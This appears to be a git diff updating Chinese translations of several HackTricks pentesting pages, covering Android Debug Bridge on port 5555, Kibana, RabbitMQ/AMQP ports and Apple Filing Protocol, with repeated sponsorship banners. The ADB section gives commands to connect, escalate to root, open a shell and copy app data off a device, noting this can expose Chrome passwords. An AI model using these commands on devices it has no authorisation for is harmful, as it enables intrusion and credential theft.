支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 5555 - Android Debug Bridge
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
来自[文档](https://developer.android.com/studio/command-line/adb):
|
||||
来自 [文档](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
**Android Debug Bridge**(adb)是一个多功能的命令行工具,可让您与设备通信。 adb命令可实现各种设备操作,如**安装和调试应用程序**,并提供访问**Unix shell**的权限,您可以使用它在设备上运行各种命令。
|
||||
**Android Debug Bridge** (adb) 是一个多功能命令行工具,允许您与设备进行通信。adb 命令促进了各种设备操作,例如 **安装和调试应用程序**,并提供 **访问 Unix shell** 的功能,您可以使用它在设备上运行各种命令。
|
||||
|
||||
**默认端口**:5555。
|
||||
```
|
||||
|
@ -27,35 +28,36 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
## 连接
|
||||
|
||||
如果发现设备上某个端口运行着ADB服务,并且你可以连接到它,**你就可以在系统内部获取一个shell:**
|
||||
如果找到设备上运行的 ADB 服务并且可以连接到它,**你可以在系统内部获得一个 shell:**
|
||||
```bash
|
||||
adb connect 10.10.10.10
|
||||
adb root # Try to escalate to root
|
||||
adb shell
|
||||
```
|
||||
### 转储应用数据
|
||||
|
||||
为了完全下载一个应用程序的数据,您可以:
|
||||
为了完全下载应用程序的数据,您可以:
|
||||
```bash
|
||||
# From a root console
|
||||
chmod 777 /data/data/com.package
|
||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||
adb pull "/sdcard/com.package"
|
||||
```
|
||||
您可以使用此技巧来**检索敏感信息,例如 Chrome 密码**。有关此信息的更多信息,请查看提供的参考资料[**这里**](https://github.com/carlospolop/hacktricks/issues/274)。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `安卓调试桥`
|
||||
* `android debug bridge`
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,55 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
Kibana以其在Elasticsearch中搜索和可视化数据的能力而闻名,通常在端口**5601**上运行。它作为Elastic Stack集群的监控、管理和安全功能的界面。
|
||||
Kibana 以其在 Elasticsearch 中搜索和可视化数据的能力而闻名,通常运行在端口 **5601** 上。它作为 Elastic Stack 集群的监控、管理和安全功能的接口。
|
||||
|
||||
## 理解身份验证
|
||||
## 理解认证
|
||||
|
||||
Kibana中的身份验证过程与**Elasticsearch中使用的凭据**密切相关。如果Elasticsearch已禁用身份验证,则可以在没有任何凭据的情况下访问Kibana。相反,如果Elasticsearch受到凭据保护,则访问Kibana需要相同的凭据,保持两个平台上的用户权限相同。凭据可能在**/etc/kibana/kibana.yml**文件中找到。如果这些凭据与**kibana_system**用户无关,则可能提供更广泛的访问权限,因为kibana_system用户的访问权限仅限于监控API和.kibana索引。
|
||||
Kibana 中的认证过程与 **Elasticsearch 中使用的凭据** 密切相关。如果 Elasticsearch 禁用认证,则可以在没有任何凭据的情况下访问 Kibana。相反,如果 Elasticsearch 使用凭据进行保护,则访问 Kibana 也需要相同的凭据,从而在两个平台上保持相同的用户权限。凭据可能在 **/etc/kibana/kibana.yml** 文件中找到。如果这些凭据不属于 **kibana_system** 用户,则可能提供更广泛的访问权限,因为 kibana_system 用户的访问仅限于监控 API 和 .kibana 索引。
|
||||
|
||||
## 访问后的操作
|
||||
|
||||
一旦访问Kibana得到保障,建议执行以下操作:
|
||||
一旦获得对 Kibana 的访问权限,建议采取以下几项操作:
|
||||
|
||||
- 探索来自Elasticsearch的数据应是首要任务。
|
||||
- 管理用户的能力,包括编辑、删除或创建新用户、角色或API密钥,可在Stack Management -> Users/Roles/API Keys下找到。
|
||||
- 重要的是检查安装的Kibana版本是否存在已知漏洞,例如在6.6.0版本之前发现的RCE漏洞([更多信息](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2))。
|
||||
- 优先探索来自 Elasticsearch 的数据。
|
||||
- 管理用户的能力,包括编辑、删除或创建新用户、角色或 API 密钥,可以在 Stack Management -> Users/Roles/API Keys 下找到。
|
||||
- 检查 Kibana 的安装版本是否存在已知漏洞,例如在 6.6.0 之前版本中发现的 RCE 漏洞 ([更多信息](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2))。
|
||||
|
||||
## SSL/TLS注意事项
|
||||
## SSL/TLS 考虑
|
||||
|
||||
在未启用SSL/TLS的情况下,应仔细评估泄露敏感信息的潜在风险。
|
||||
在未启用 SSL/TLS 的情况下,应彻底评估泄露敏感信息的潜在风险。
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
# 5671,5672 - AMQP 渗透测试
|
||||
# 5671,5672 - Pentesting AMQP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
来自 [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
来自 [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html):
|
||||
|
||||
> **RabbitMQ** 是一种被称为 _消息代理_ 或 _队列管理器_ 的 **消息队列软件**。简单来说;它是一个定义了队列的软件,应用程序连接到这些队列以传输消息。\
|
||||
> 一个 **消息可以包含任何类型的信息**。例如,它可以包含关于应该在另一个应用程序上启动的进程或任务的信息(甚至可以在另一台服务器上),或者它可以只是一个简单的文本消息。队列管理器软件存储消息,直到接收应用程序连接并从队列中取出消息。然后接收应用程序处理消息。\
|
||||
> **RabbitMQ** 是一种 **消息队列软件**,也被称为 _消息代理_ 或 _队列管理器_。简单来说,它是定义队列的软件,应用程序连接到这些队列以传输消息。\
|
||||
> **消息可以包含任何类型的信息**。例如,它可以包含关于应该在另一个应用程序(甚至可能在另一台服务器上)上启动的过程或任务的信息,或者它可以只是一个简单的文本消息。队列管理软件会存储消息,直到接收应用程序连接并从队列中取出一条消息。接收应用程序随后处理该消息。\
|
||||
定义来自。
|
||||
|
||||
**默认端口**:5672,5671
|
||||
|
@ -65,33 +66,34 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
## 其他RabbitMQ端口
|
||||
|
||||
在[https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html)中,您可以发现**rabbitmq使用多个端口**:
|
||||
在 [https://www.rabbitmq.com/networking.html](https://www.rabbitmq.com/networking.html) 中可以找到 **rabbitmq使用多个端口**:
|
||||
|
||||
* **1883, 8883**:([MQTT客户端](http://mqtt.org)未加密和加密,如果启用了[MQTT插件](https://www.rabbitmq.com/mqtt.html))。[**了解更多关于如何对MQTT进行渗透测试的信息**](1883-pentesting-mqtt-mosquitto.md)。
|
||||
* **4369:epmd**,RabbitMQ节点和CLI工具使用的对等发现服务。[**了解更多关于如何对此服务进行渗透测试的信息**](4369-pentesting-erlang-port-mapper-daemon-epmd.md)。
|
||||
* **5672, 5671**:用于AMQP 0-9-1和1.0客户端的未加密和加密连接
|
||||
* **15672**:[HTTP API](https://www.rabbitmq.com/management.html)客户端,[管理界面](https://www.rabbitmq.com/management.html)和[rabbitmqadmin](https://www.rabbitmq.com/management-cli.html)(仅在启用[管理插件](https://www.rabbitmq.com/management.html)时)。[**了解更多关于如何对此服务进行渗透测试的信息**](15672-pentesting-rabbitmq-management.md)。
|
||||
* 15674:STOMP-over-WebSockets客户端(仅在启用[Web STOMP插件](https://www.rabbitmq.com/web-stomp.html)时)
|
||||
* 15675:MQTT-over-WebSockets客户端(仅在启用[Web MQTT插件](https://www.rabbitmq.com/web-mqtt.html)时)
|
||||
* 15692:Prometheus指标(仅在启用[Prometheus插件](https://www.rabbitmq.com/prometheus.html)时)
|
||||
* 25672:用于节点间和CLI工具通信(Erlang分发服务器端口),从动态范围分配(默认情况下限制为单个端口,计算为AMQP端口+20000)。除非这些端口上的外部连接确实非常必要(例如,集群使用[federation](https://www.rabbitmq.com/federation.html)或在子网外部的机器上使用CLI工具),否则不应公开这些端口。有**只有9个这些端口在互联网上打开**。
|
||||
* 35672-35682:用于CLI工具(Erlang分发客户端端口)与节点通信,从动态范围分配(计算为服务器分发端口+10000到服务器分发端口+10010)。有关详细信息,请参阅[网络指南](https://www.rabbitmq.com/networking.html)。
|
||||
* 61613, 61614:[STOMP客户端](https://stomp.github.io/stomp-specification-1.2.html)未加密和加密连接(仅在启用[STOMP插件](https://www.rabbitmq.com/stomp.html)时)。少于10台设备开放此端口,主要用于DHT节点的UDP。
|
||||
* **1883, 8883**: ([MQTT客户端](http://mqtt.org) 无TLS和有TLS,如果启用了 [MQTT插件](https://www.rabbitmq.com/mqtt.html)。 [**在这里了解如何进行MQTT的渗透测试**](1883-pentesting-mqtt-mosquitto.md)。
|
||||
* **4369: epmd**,RabbitMQ节点和CLI工具使用的对等发现服务。 [**在这里了解如何进行此服务的渗透测试**](4369-pentesting-erlang-port-mapper-daemon-epmd.md)。
|
||||
* **5672, 5671**: AMQP 0-9-1和1.0客户端无TLS和有TLS使用
|
||||
* **15672**: [HTTP API](https://www.rabbitmq.com/management.html) 客户端,[管理UI](https://www.rabbitmq.com/management.html) 和 [rabbitmqadmin](https://www.rabbitmq.com/management-cli.html)(仅在启用 [管理插件](https://www.rabbitmq.com/management.html) 的情况下)。 [**在这里了解如何进行此服务的渗透测试**](15672-pentesting-rabbitmq-management.md)。
|
||||
* 15674: STOMP-over-WebSockets客户端(仅在启用 [Web STOMP插件](https://www.rabbitmq.com/web-stomp.html) 的情况下)
|
||||
* 15675: MQTT-over-WebSockets客户端(仅在启用 [Web MQTT插件](https://www.rabbitmq.com/web-mqtt.html) 的情况下)
|
||||
* 15692: Prometheus指标(仅在启用 [Prometheus插件](https://www.rabbitmq.com/prometheus.html) 的情况下)
|
||||
* 25672: 用于节点间和CLI工具通信(Erlang分发服务器端口),并从动态范围分配(默认限制为单个端口,计算为AMQP端口 + 20000)。除非这些端口上的外部连接确实必要(例如,集群使用 [联邦](https://www.rabbitmq.com/federation.html) 或CLI工具在子网外的机器上使用),否则这些端口不应公开暴露。有关详细信息,请参见 [网络指南](https://www.rabbitmq.com/networking.html)。 **仅在互联网上开放9个端口**。
|
||||
* 35672-35682: 用于CLI工具(Erlang分发客户端端口)与节点通信,并从动态范围分配(计算为服务器分发端口 + 10000 到 服务器分发端口 + 10010)。有关详细信息,请参见 [网络指南](https://www.rabbitmq.com/networking.html)。
|
||||
* 61613, 61614: [STOMP客户端](https://stomp.github.io/stomp-specification-1.2.html) 无TLS和有TLS(仅在启用 [STOMP插件](https://www.rabbitmq.com/stomp.html) 的情况下)。少于10个设备开放此端口,主要用于DHT节点的UDP。
|
||||
|
||||
## Shodan
|
||||
|
||||
* `AMQP`
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
# 548 - 渗透测试苹果文件传输协议(AFP)
|
||||
# 548 - Pentesting Apple Filing Protocol (AFP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## 基本信息
|
||||
|
||||
**苹果文件传输协议**(**AFP**),曾被称为AppleTalk文件传输协议,是**苹果文件服务**(**AFS**)中包含的一种专用网络协议。它旨在为macOS和经典Mac OS提供文件服务。AFP以支持Unicode文件名、POSIX和访问控制列表权限、资源叉、命名扩展属性以及复杂的文件锁定机制而著称。它是Mac OS 9及更早版本中的主要文件服务协议。
|
||||
**Apple Filing Protocol**(**AFP**),曾被称为 AppleTalk Filing Protocol,是一种专门的网络协议,包含在 **Apple File Service**(**AFS**)中。它旨在为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点是支持 Unicode 文件名、POSIX 和访问控制列表权限、资源分支、命名扩展属性以及复杂的文件锁定机制。它是 Mac OS 9 及更早版本中文件服务的主要协议。
|
||||
|
||||
**默认端口:** 548
|
||||
```bash
|
||||
|
@ -26,30 +27,31 @@ PORT STATE SERVICE
|
|||
```
|
||||
### **枚举**
|
||||
|
||||
对于AFP服务的枚举,以下命令和脚本很有用:
|
||||
对于AFP服务的枚举,以下命令和脚本是有用的:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/afp/afp_server_info
|
||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
||||
```
|
||||
**脚本及其描述:**
|
||||
|
||||
- **afp-ls**:此脚本用于列出可用的AFP卷和文件。
|
||||
- **afp-path-vuln**:它列出所有AFP卷和文件,并突出显示潜在的漏洞。
|
||||
- **afp-serverinfo**:提供有关AFP服务器的详细信息。
|
||||
- **afp-showmount**:它列出可用的AFP共享以及它们各自的ACL。
|
||||
- **afp-ls**:此脚本用于列出可用的 AFP 卷和文件。
|
||||
- **afp-path-vuln**:它列出所有 AFP 卷和文件,并突出显示潜在的漏洞。
|
||||
